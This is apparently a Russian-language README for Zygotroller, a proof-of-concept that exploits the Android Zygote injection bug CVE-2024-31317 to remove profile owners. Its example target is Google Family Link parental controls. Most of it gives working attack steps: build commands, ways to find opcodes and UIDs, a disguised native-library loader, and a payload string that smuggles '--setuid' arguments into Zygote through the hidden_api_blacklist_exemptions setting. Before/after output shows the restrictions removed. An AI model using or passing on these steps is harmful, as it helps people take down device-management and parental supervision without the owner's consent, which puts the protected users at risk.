
Удалите владельцев профилей Android/семейную ссылку с помощью CVE-2024-31317
Zygotroller — это proof-of-concept, который может удалить владельца профиля и связанные ограничения с помощью ошибки внедрения в Zygote CVE-2024-31317. Для этого требуется режим разработчика и последнее обновление безопасности до июня 2024 года.
Система родительского контроля Google, Family Link, показана в качестве примера в этом репозитории.
Вам понадобится современное устройство на дистрибутиве на основе Debian для компиляции Zygotroller. Предварительно собранные файлы могут быть доступны или нет в зависимости от времени прочтения.
К сожалению, это зависит от внутренних частей Android, поэтому вам нужно клонировать весь исходный код Android, чтобы собрать Zygotroller. Убедитесь, что у вас есть как минимум 400 ГБ свободного места, хотя скорее всего вы используете меньше.
ВАЖНО ПРИ ИСПОЛЬЗОВАНИИ WSL: Убедитесь, что у вас БОЛЬШОЙ файл подкачки, иначе WSL упадет. Я лично использовал 32 ГБ:
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
Теперь для клонирования исходников AOSP:
mkdir ~/aosp
cd ~/aosp
repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest
repo sync -c -j8 (может потребоваться несколько попыток из-за лимитов запросов)
source build/envsetup.sh
lunch aosp_cf_arm64_only_phone-aosp_current-eng (если вы тестируете это на эмуляторе, измените arm64 на x86_64)
cd ~/aosp/external
git clone https://github.com/rifting/Zygotroller
cd Zygotroller
Теперь нам нужно изменить значения в скрипте на наши фактические владельца профиля и опкод для clearProfileOwner.
Владелец профиля может быть либо в пакете «supervision» сервисов Google Play, либо в самих сервисах Google Play. Выполните dpm list-owners, у меня результат был таким:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
Это дает нам два фрагмента информации, необходимые для Zygotroller: имя пакета (com.google.android.gms.supervision) и имя класса (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).
Отредактируйте zygotroll.cpp в вашем любимом текстовом редакторе и обновите эти строки на ваш компонент владельца профиля:
// Family Link profile owner
std::string pkg = "com.google.android.gms.supervision";
std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";
Теперь вам нужно найти опкод для функции clearProfileOwner в DPM. У меня это было «91», но это варьируется в зависимости от версии/типа Android, который вы используете. Чтобы получить опкод для clearProfileOwner, я использовал android-svc с командой
android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'
Число, которое вы видите в выводе, будет опкодом для clearProfileOwner. Откройте zygotroll.cpp снова в вашем любимом текстовом редакторе и измените число здесь на ваш фактический опкод:
// Transaction code 91 was ClearProfileOwner for my device
dpm->transact(91, data, &reply);
То же самое нужно сделать с setUserRestriction:
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);
Теперь нам нужно скомпилировать zygotroller:
mm
Это может занять ОЧЕНЬ много времени при первой сборке; последующие сборки займут <1 минуты на большинстве современных машин.
Найдите ваш бинарник в ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller
Теперь нам нужно создать приложение, которое содержит этот бинарник как «разделяемую библиотеку», которая на самом деле является просто исполняемым файлом Zygotroller, чтобы SELinux позволил нам его выполнить. Вы можете использовать мой репозиторий «CopyNativeLib» для этого:
git clone https://github.com/rifting/CopyNativeLib.git
Затем переименуйте ваш бинарник Zygotroller в libzygotroller.so и поместите его в app/src/main/jniLibs/arm64-v8a (я предполагаю, что это архитектура вашего телефона). Соберите APK в Android Studio и установите на устройство с помощью adb install.
Владелец профиля Family Link имел userid 10090 для меня, он же u0_a90
Выполните dumpsys package com.google.android.gms.supervision | grep userId=
Теперь посмотрите на payload.sh, на этой строке
inject='\n--setuid=10090...
Измените UID здесь с 10090 на ваш UID из команды dumpsys. Если это тот же ID, оставьте.
Посмотрите немного дальше в этой строке и вы увидите
...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...
(три точки использованы для обозначения усечения)
Вам нужно заменить их на пути к нативной библиотеке, которую вы только что установили на устройство. Выполните pm path com.rifting.copynativelib.
Путь к файлу будет родительским каталогом APK, показанным в выводе команды, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH должен быть каталогом библиотеки, а затем фактический путь к библиотеке должен идти после этого.
Таким образом, эта строка будет выглядеть примерно так:
...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...
Вы почти на месте! Отправьте этот файл в /data/local/tmp
adb push payload.sh /data/local/tmp
Установите разрешения:
chmod +x /data/local/tmp/payload.sh
И, наконец, отправьте его вывод в hidden_api_blacklist_exemptions!
settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"
Теперь установите это значение в «0», чтобы избежать bootloop :)
settings put global hidden_api_blacklist_exemptions 0
Вы должны увидеть, что владелец профиля Family Link и все связанные ограничения были удалены. Зайдите в настройки и управление аккаунтами, и удалите подконтрольный аккаунт с устройства. Поздравляю!
До:
$ dpm list-owners
1 owner:
User 0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
<restrictions_user user_id="0">
<restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
</restrictions_user>
</device_policy_local_restrictions>
...
После:
$ dpm list-owners
no owners
emu64xa:/ $
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...